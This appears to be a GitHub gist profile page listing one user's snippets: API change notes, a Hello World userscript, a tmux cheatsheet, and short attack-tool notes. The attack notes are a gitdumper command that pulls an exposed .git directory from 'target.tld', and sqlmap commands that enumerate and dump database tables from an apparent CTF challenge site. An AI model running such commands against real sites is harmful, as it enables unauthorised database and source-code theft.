Skip to content

Instantly share code, notes, and snippets.

View xbaby123's full-sized avatar

Nguyen Huy xbaby123

View GitHub Profile
@xbaby123
xbaby123 / api_detail.txt
Created July 21, 2019 03:14
Centre logs api new update detail
1) Api add and edit incidents new params:
- data[OrganisationIncident][list_student]: {id1},{id2},{id3}
- data[OrganisationIncident][list_staff]: {id1},{id2},{id3}
- data[OrganisationIncident][list_class]: {id1},{id2},{id3}
2) new reponse format for detail of audit logs
{
"log_detail": {
"id": "24",
"description": "nana a",
// ==UserScript==
// @name Hello World
// @namespace https://www.google.com.vn
// @description example script to alert "Hello world!" on every page
// @include http://myanonamouse/*
// @include http://*.myanonamouse/*
// ==/UserScript==
alert('Hello world!');
@xbaby123
xbaby123 / tmux-cheatsheet.markdown
Created June 2, 2017 09:27 — forked from MohamedAlaa/tmux-cheatsheet.markdown
tmux shortcuts & cheatsheet

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname
dump
bash gitdumper.sh http://target.tld/.git/ dest-dir
@xbaby123
xbaby123 / sql_map
Created February 5, 2017 04:13
how to use sql map
-- enum tables
sqlmap -u http://joking.bitsctf.bits-quark.org/index.php --data="id=1&submit1=submit" -p id --dbms=MYSQL --technique=U --tables
-- dump table
sqlmap -u http://joking.bitsctf.bits-quark.org/index.php --data="id=1&submit1=submit" -p id --dbms=MYSQL --technique=U --dump -T Joker